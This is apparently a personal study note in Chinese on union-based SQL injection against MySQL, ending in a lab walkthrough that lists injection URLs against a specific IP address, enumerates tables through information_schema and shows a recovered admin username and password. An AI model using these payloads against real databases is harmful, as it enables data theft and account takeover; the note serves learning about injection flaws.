SQL 注入

由于开发人员对网络安全认知的缺失,在查询、搜索、登录等需要与数据库交互的位置存在输入漏洞,未经字段校验后台就将携带不规则且具有破坏性的 SQL 语句作为字段一部分写入到数据库查询语句中,导致数据库被攻破,数据泄露的后果。

这是我的理解。一般的漏洞可以通过功能测试、单元测试检测出来,但有些漏洞具有一定的隐蔽性,需要专项测试才能检测出来,比如 SQL 注入。

联合注入

SQL 注入的目的获取数据库信息,进而得到数据库管理权限。

联合注入就是通过 union SQL 关键字携带出需要的数据库信息。

select id,name from user where id=1;
select id,name from user where id=1 union select 1,2 from xx where xx;

因为 union 联合查询需要前后查询的字段数一致,所以联合注入首先就需要测算出当前存在 SQL 注入位置查询字段数。

回显点注入

联合注入是需要显示结果的,这里就会用到一个叫做回显点的东西。

回显点就是 SQL 查询结果显示在页面上位置,有回显点的 SQL 注入叫做回显点注入。

比如一篇文章的标题、作者、时间、内容等等,这些都可能成为回显点。

继续上面的,查询字段数可以通过 order by x 实现。这边我学到一个知识点,order by 不仅可以按照表中的某个字段名排序,还可以用数字代表查询结果的列(column)进行排序。

比如查询结果有两列,id、name,order by 1 就等于 order by id

limit 不同,order by从 1 开始计数,0 列不存在,大于查询结果列数会报错。

所以可以通过 order by x 测算出查询结果列数。

select id,name from user where id=1 order by 3 报错,则说明运行的 SQL 语句查询字段数为 2。

知道了查询结果列数,就可以通过联合查询返回需要回显的信息了。

如果当前的查询结果集为 n 条,那么联合查询的结果集就是 n+1 条。想要显示我们需要的信息,可以将当前的查询结果置空,即判断条件改成 false。

select id,name from user where id=1 and 1=2 union select 1,2 from xx where xx;
select id,name from user where id=1 and false union select 1,2 from xx where xx;

现在整体的 SQL 语句句型好了,但我们忽略了一些重要信息,比如我们不知道应该从哪个表拿信息,不知道表名,也不知道字段名。举例来说就是,如果我们想要拿到管理员表中的管理员账号和密码(假设密码明文存储),我们需要知道管理员表是哪一张,管理员表中的账号、密码字段又叫什么。

如何获取数据库名、表名和字段名

这里以 MySQL 为例,MSSQL 看这里 列出MSSQL所有数据库名、所有表名、所有字段名 - CSDN

MySQL 中存储所有数据库名、所有表名、所有字段名的系统数据库叫 information_schema,这是在 MySQL 数据库初始化就存在的系统库。库里存储数据库名、表名、字段名的表分别为 schematatablescolumns(原始表名为大写,但小写也能取到数据)。

表名关键字段
schemataschema_name [数据库名]
tablestable_schema [数据库名],table_name [表名]
columnstable_schema [数据库名],table_name [表名],column_name [列名]
  • 获取数据库名

database() 返回当前数据库名。

或者回显猜测当前数据库(假设当前页面回显点在 2 的位置)

xx union select 1,schema_name from information_schema.schemata limit 0,1
xx union select 1,schema_name from information_schema.schemata limit 1,1
...
  • 获取当前数据库(也可以用其他数据库替换)的表名

当前数据库有很多的表,可以用 limit m,n 来获取所有的表名,具体哪个是用户表(或者目标数据表)可以根据回显点显示的表名猜测。

xx union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1
xx union select 1,table_name from information_schema.tables where table_schema = database() limit 1,1
...
  • 获取当前数据库目标数据表的列名

同样是一对多的关系,一个 MySQL 服务器对应多个数据库,一个数据库对应多个表,一个表对应多个列。

这里假设目标数据表为用户表 user,可以通过以下方式获取列名

xx union select 1,column_name from information_schema.columns where table_schema = database() and table_name = 'user' limit 0,1
xx union select 1,column_name from information_schema.columns where table_schema = database() and table_name = 'user' limit 1,1
...

在得到了数据表名和想要的列名时,就可以取回数据列数据了。

xx union select 1,username from user limit 0,1
xx union select 1,password from user limit 0,1

# 多个回显点
xx union select username,password from user limit 0,1

回显点注入步骤整理

以下步骤来源于掌控安全渗透训练营

  • 第一步:通过修改参数找到切入点
http://59.63.200.79:8003/?id=1 b 页面出错
http://59.63.200.79:8003/?id=1 and true 页面正常
http://59.63.200.79:8003/?id=1 and false 页面出错
  • 第二步:使用 order by 排序 确定当前操作的数据库表中的字段数
http://59.63.200.79:8003/?id=1 and true order by 3 时出错,可以判断出数据库的当前操作表中有两个字段
  • 第三步:通过让页面出错 加上联合查询的方式寻找回显点
http://59.63.200.79:8003/?id=1 and false union select 1,2  页面显示的是2, 可以找到回显点是第二个字段
  • 第四步:猜测数据库名
http://59.63.200.79:8003/?id=1 and false union select 1,schema_name from information_schema.schemata limit 0,1  查询出 information_schema 库

http://59.63.200.79:8003/?id=1 and false union select 1,schema_name from information_schema.schemata limit 1,1  查询出 maoshe 库

http://59.63.200.79:8003/?id=1 and false union select 1,schema_name from information_schema.schemata limit 2,1  查询出 test 库

查询到 information_schema、maoshe、test 三个数据库

猜测表名:

http://59.63.200.79:8003/?id=1 and false  union select 1,table_name from information_schema.tables where table_schema=database() limit [0-4],1
admin、dirs、news、xss

http://59.63.200.79:8003/?id=1 and false  union select 1,table_name from information_schema.tables where table_schema=maoshe limit 0,1

http://59.63.200.79:8003/?id=1 and false  union select 1,table_name from information_schema.tables where table_schema=test limit 0,1

猜测字段名:

http://59.63.200.79:8003/?id=1 and false union select 1,column_name from information_schema.columns where table_schema=database() and table_name='dirs' limit 0,1
paths
http://59.63.200.79:8003/?id=1 and false union select 1,column_name from information_schema.columns where table_schema=database() and table_name='news' limit 0,1
id,content
http://59.63.200.79:8003/?id=1 and false union select 1,column_name from information_schema.columns where table_schema=database() and table_name='xss' limit 0,1
id,user,pass
http://59.63.200.79:8003/?id=1 and false union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
Id,username,password

查询账号密码:

http://59.63.200.79:8003/?id=1 and false union select 1,username from admin limit [0-1],1
http://59.63.200.79:8003/?id=1 and false union select 1,password from admin limit [0-1],1

-- admin hellohack
-- ppt领取微信 zkaqbanban